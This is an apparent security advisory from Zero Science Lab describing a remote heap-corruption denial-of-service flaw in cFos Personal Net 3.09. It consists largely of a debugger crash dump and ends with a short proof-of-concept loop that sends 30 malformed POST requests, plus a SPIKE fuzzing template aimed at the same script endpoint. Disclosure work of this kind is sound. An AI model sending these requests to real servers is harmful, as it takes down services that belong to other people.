cFos Personal Net v3.09 Remote Heap Memory Corruption Denial of Service
Vendor: cFos Software GmbH
Product web page: https://www.cfos.de
Affected version: 3.09
Summary: cFos Personal Net (PNet) is a full-featured HTTP server intended for
personal and professional use. For personal use, instead of hosting websites
with a webhoster, you just run it on your Windows machine. For professional
use, you rent a virtual windows PC or dedicated PC from a webhoster and run
it there.
Desc: cFos Personal Net web server is vulnerable to a remote denial of service
issue when processing multiple malformed POST requests in less than 3000ms.
The issue occurs when the application fails to handle the data sent in the
POST requests in a single socket connection causing heap memory corruption
which results in a crash of the HTTP service.
SHODAN: cFos Personal Net v3.09 Microsoft-HTTPAPI/2.0
============================================================================
(658.1448): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Module load completed but symbols could not be loaded for cfospnet.exe
eax=feeefeee ebx=02813dcc ecx=02813dcc edx=00000000 esi=028198b0 edi=02813c88
eip=00914529 esp=03b1fb94 ebp=03b1fbb8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
cfospnet+0x54529:
00914529 ff5004 call dword ptr [eax+4] ds:002b:feeefef2=????????
0:024> d ecx
02813dcc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813ddc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813dec ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813dfc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e0c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e1c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e2c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e3c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0:024> d
02813e4c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e5c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e6c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e7c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e8c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813e9c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813eac ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813ebc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0:024> d
02813ecc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813edc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813eec ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813efc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813f0c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813f1c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813f2c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813f3c ee fe ee fe ee fe ee fe-ee fe ee fe b0 66 99 21 .............f.!
0:024> d
02813f4c 8e e8 06 18 d0 71 2d 04-c0 f8 80 02 d0 71 2d 04 .....q-......q-.
02813f5c 01 00 ad ba 5f 43 46 50-4e 45 54 5f 50 41 54 48 ...._CFPNET_PATH
02813f6c 00 f0 ad ba 0c 00 00 00-0f 00 00 00 90 41 2c 04 .............A,.
02813f7c 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 29 00 00 00 ............)...
02813f8c 2f 00 00 00 ab ab ab ab-ab ab ab ab 00 00 00 00 /...............
02813f9c 00 00 00 00 aa 66 9a 38-dc e8 06 00 10 31 2c 04 .....f.8.....1,.
02813fac d0 0c 81 02 ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813fbc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0:024> d
02813fcc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813fdc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813fec ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
02813ffc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281400c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281401c ee fe ee fe ee fe ee fe-ee fe ee fe be 66 99 2f .............f./
0281402c c6 e8 06 18 0a 00 00 00-6e 00 61 00 6d 00 65 00 ........n.a.m.e.
0281403c 3d 00 00 00 ab ab ab ab-ab ab ab ab 00 00 00 00 =...............
0:024> d
0281404c 00 00 00 00 b0 66 9a 22-d2 e8 06 00 60 8b 80 02 .....f."....`...
0281405c 10 c9 2b 04 ee fe ee fe-ee fe ee fe ee fe ee fe ..+.............
0281406c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281407c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281408c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281409c ee fe ee fe ee fe ee fe-ee fe ee fe b0 66 99 21 .............f.!
028140ac dc e8 06 18 e8 08 81 02-30 37 86 02 c0 4b 81 02 ........07...K..
028140bc 00 00 ad ba 52 45 51 55-45 53 54 5f 55 52 49 00 ....REQUEST_URI.
0:024> d
028140cc 0d f0 ad ba 0b 00 00 00-0f 00 00 00 08 41 81 02 .............A..
028140dc 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 1d 00 00 00 ................
028140ec 1f 00 00 00 ab ab ab ab-ab ab ab ab 00 00 00 00 ................
028140fc 00 00 00 00 bc 66 99 2d-dc e8 06 18 2f 73 63 72 .....f.-..../scr
0281410c 69 70 74 73 2f 67 65 74-5f 73 65 72 76 65 72 5f ipts/get_server_
0281411c 73 74 61 74 73 2e 6a 73-73 00 ad ba ab ab ab ab stats.jss.......
0281412c ab ab ab ab 00 00 00 00-00 00 00 00 ad 66 9a 3f .............f.?
0281413c d0 e8 06 00 c8 4a 2c 04-f0 18 2d 04 ee fe ee fe .....J,...-.....
0:024> d
0281414c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281415c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281416c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281417c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281418c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0281419c ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
028141ac ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
028141bc ee fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe ................
0:024> d esi
028198b0 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................
028198c0 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................
028198d0 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................
028198e0 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................
028198f0 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................
02819900 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................
02819910 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................
02819920 0d f0 ad ba 0d f0 ad ba-0d f0 ad ba 0d f0 ad ba ................
============================================================================
Tested on: Microsoft Windows 7 Professional SP1 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2014-5184
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5184.php
01.04.2014
---
-ALGjlang
open_socket(); for(j=1;j<=30;j++)
{
send_socket("
POST /scripts/get_server_stats.jss?name= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Accept: */*
Host: 192.168.0.107
Content-Length: 20
AAAAAAAAAAAAAAAAAA\x0d\x0a\x0d\x0a
") } close_socket();
-SPKfzz
s_string("POST /scripts/get_server_stats.jss?name= HTTP/1.1\r\n");
s_string("User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)\r\n");
s_string("Accept: */*");
s_string("Host: 192.168.0.107\r\n");
s_string("Content-Length: ");
s_blocksize_string("fuzz",15);
s_string("\r\n\r\n");
s_block_start("fuzz");
s_string("joxypoxyjoxypoxy!!\r\n\" * 100);
s_string_variable("ZSL");
s_string("\r\n"); //importante
s_block_end("fuzz");